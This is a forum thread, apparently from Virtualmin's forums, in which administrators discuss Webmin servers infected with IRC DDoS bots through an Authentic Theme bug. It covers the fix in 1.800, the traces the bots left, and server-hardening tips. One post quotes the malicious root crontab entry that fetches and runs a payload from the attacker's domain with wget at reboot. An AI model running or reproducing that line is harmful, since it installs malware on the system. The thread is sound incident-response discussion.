Today I found a process called .X0-unix running in my server (CentOS 6 running Webmin/Virtualmin). This process was running from:
[root@server ~]# find / -name .X0-unix
I cannot find anything in the webmin logs to explain how that file got there and there have not been any ssh/ftp transfers into my server. How the hell did they get that file into the Webmin service? As far as I can tell it is an irc bot called tsunami so no major damage done at the moment but I am very worried that webmin is compromised. The logs do not show any logins for any users (except when I logged in to check of course). A new flaw/backdoor into webmin?
How can I try to find out where the exploit is? I cannot shut down virtualmin completely as my users depend on it to administer their domains.
After some more digging I have also found more files that do not belong to webmin in /usr/libexec/webmin:
40 -rw-r–r-- 1 root root 38243 May 23 00:38 PK.ico
40 -rw-r–r-- 1 root root 38243 May 23 00:40 PK.ico.2
40 -rw-r–r-- 1 root root 38243 May 23 00:40 PK.ico.3
They are all irc scripts. Still have no idea how they got there. Still looking at all possibilities but I find it very suspicious that they are all in the webmin directory.
Update to Webmin 1.800. There’s a security bug in Authentic Theme as shipped with Webmin devel versions 1.794 and 1.794 (which we rolled out to Virtualmin users to address Ubuntu fixes and Let’s Encrypt enhancements).
It’s been fixed in 1.800. We learned of the bug about two hours ago. We’ll talk about specifics of the problem in a few days after folks have had a chance to update. You can open a private ticket in the issue tracker to discuss it in more detail, if you’d like us to assist with assessing the scope of the problem on your system.
are there any reasons why one of my centos server got updated to 1.795 a few months ago and now can’t see the 1.800 update. the other servers can see the update 1.800
all servers uses epel and official repo… just wondering.
Never mind, just a few seconds ago, version 1.800-1 got pushed and I can see it as an update
I have seen the same thing on a few servers 3 days ago.
They seem to be using a shell exploit in the [edit: we’ll discuss the exact security issue later :-)], at first I though it was a shellshock hack (but of course those have been patched for years). It looked like it was escaping out some sort of login alert mail out routine.
If you reboot the server the bad processes will go away, and you can delete the junk files left behind in the webmin directory.
I have not found any permanent changes to the system files, so once the theme is updated the issue should be gone for good, however this exploit could have been very destructive since it runs as root.
Got the malware in one of our servers. It runs after reboot and takes all server CPU. Thats how we spotted it.
I am very disappointed of Webmin team. Not because of getting our server hacked, but because it could be avoided easily. We got hacked almost 48h after the 1.800 patch went public, however the release did not get to the official Webmin mailing list, so I was unaware of the patch.
Another bad luck is that Centos 6.8 upgrade come in the same time, so spotting webmin between 135 other packages manually is not simple task.
On webmin website, all the forums and mailing list go through source forge. Are they update? Why are there forums there and here… Please centralize the information.
Please advise me how can I immediately know that there is a webmin/virtualmin update have their changelog.
Cursor, can you please share your experience with the hack. What was the exact impact?
I have managed to save lots of its code. Its combination of PHP/Pbot.D troyan, Linux/Tsunami IRC bot and Kaitan IRC DDOS client.
It seems it tried to brute force the root password even when the .X0-unix process was running root
my webmin too was hacked. so i will not buy virtualmin i just only has one server.
Sorry for all the trouble, I assure you all of this is the last thing any of us want.
For those of you asking how you might learn about things like this quicker –
We do post about things like this on Twitter, that might be a good way to monitor for updates:
Also, you could configure Virtualmin to send notifications about available updates. Now, it can be difficult to understand the severity of an issue from that, but it would be an opportunity to know that updates are waiting and available.
Another thing you could do is subscribe to the News Forum here, which would provide you with email updates for Webmin and Virtualmin related news:
These are the files that have been uploaded/compiled to webmin directory
These are the one in /tmp
mg seems to be the first file of the hack that downloads, compiles and runs the rest of the code.
The hack seems to be at least 3 different IRC controlled DDOS bots: Linux/Tsunami, Kaitan and PHP/PBot. The control server is irc.ugotownedz.org and he files were downloaded from ugotownedz.org.
It seems have attempted to do local password brute force.
Read here how to check your system: https://github.com/authentic-theme/authentic-theme/issues/471
I have the sources of all of them if you need them.
Got hit also and this is bad and unacceptable.
Look in /etc/rc.local also because a ssh scanner was installed on my machine “/usr/share/webmin/.lssh”
Some tips for others since none of my machines where affected.
- I was not using Authentic theme. (never liked the slowness, virtmin mobile is way better on mobile)
2, Changed port to something other than 10000. (any internet facing service should never be on the default port)
3, Only accept ssh from VPN ip or a specific IP, or at least don’t leave ssh on port 22.
- Ossec bans for failed password attempts, for ssh, mail, http, etc. (install some type of active response monitor)
5 Ossec monitors /etc and other folders for changes.
2 and 3 will prevent most attacks.
4 and 5 will prevent the others if they get that far, or at least notify you so you can act.
This goes for any web hosting platform, not just webmin.
In addition to https://www.virtualmin.com/comment/757529#comment-757529, I also had these files
I also had this in root crontab
* * * * * /usr/share/webmin/.aaaa >/dev/null 2>&1
@reboot wget -q http://ugotownedz.org/update.bot -O /tmp/update;chmod +x /tmp/update;sh /tmp/update >/dev/null 2>&1
Hi, here is what I would suggest…
deploy fail2ban at least for ssh and setup ban for day or month as a minimum… or close port 22 to outside world
- disable ssh logon with passwords and usernames globally and enable ssh keys logon only
close port 10000 to accessible from outside - connect to it via vpn or within your network - if that is not possible, you can setup ip access for webmin login page and change default port for webmin (that is not that helpful but it does slow attacks down)
limit how many times user can fail to logon to webmin and then ban it for day or so (the ip address or user or both)
- check for any unknown user accounts on your system
- change passwords for everyone - as well for root account too
check access logs - how they did came in
check ssh config (if any) for any amomalies
check start up scripts and remove anything suspicious
check cron jobs for any user - including for root and remove anything suspicious
check any unknown ssh keys in your authorized_keys file(s) - remove anything that its not yours perhaps best options would be to generate new file with just your keys…
disable ftp - if you run any, just use sftp which is ssh - if you must run it make sure you do deploy fail2ban (at least or something similar), fail 3 times logon = ban for day, month or year…
deploy notification script for ssh logins !! - on all srvs I’ve ever touched, I’ve deployed my own script which will send me google hangout message (aim - anything like icq, google hangouts, irc or xmpp) with ip address, username with time of logon at the very moment that user (any user using ssh) is logged in. It also sends those details to my client (owner of the srv) to email as well so we both are informed asap. This will allow you to see things in real time like who just connected from where…really great idea is this and I would greatly suggest to you to use this as well. Writing script like it is very easy! So if anything is happening on srv, be it attack or regular usage - you will know in advance as by this way ssh will not connect anyone before the quiet (discreet) notification is not send out to you (be it aim or email msg or both)…
…that should be enough to stop new hacks and you can continue to investigate from there… I strongly believe that you will be just fine with those points mentioned above perhaps its overkill, but from personal experience - this is what always worked at lest for me past 7 years…
This apply to virtualmin too, however if you will detect new hack it would be the time to revise your website scripts in a bit different manner… nothing hard to accomplish…
Have good day all.
Move your SSH port to a new port location. Port scanners usually scans for port numbers below 1000, setting it up a little high will do but make sure you that port was unblocked on your firewall. Make sure that you can login on SSH on that port.
This may help https://coderinthebox.com/howto/basic-initial-steps-on-building-a-server/
hi, i think if ssh keys are deployed and ssh logon via password and username is disabled, there is no point to move ssh port… or is it?
Yes you are correct, if logon by SSH keys are enabled and login by account is disabled, moving the port is pointless since all connections will be dropped.
But just moving from default port will cut down more than 90% of all bruteforce bots so i think is worth to change default port to something else (1024 < X).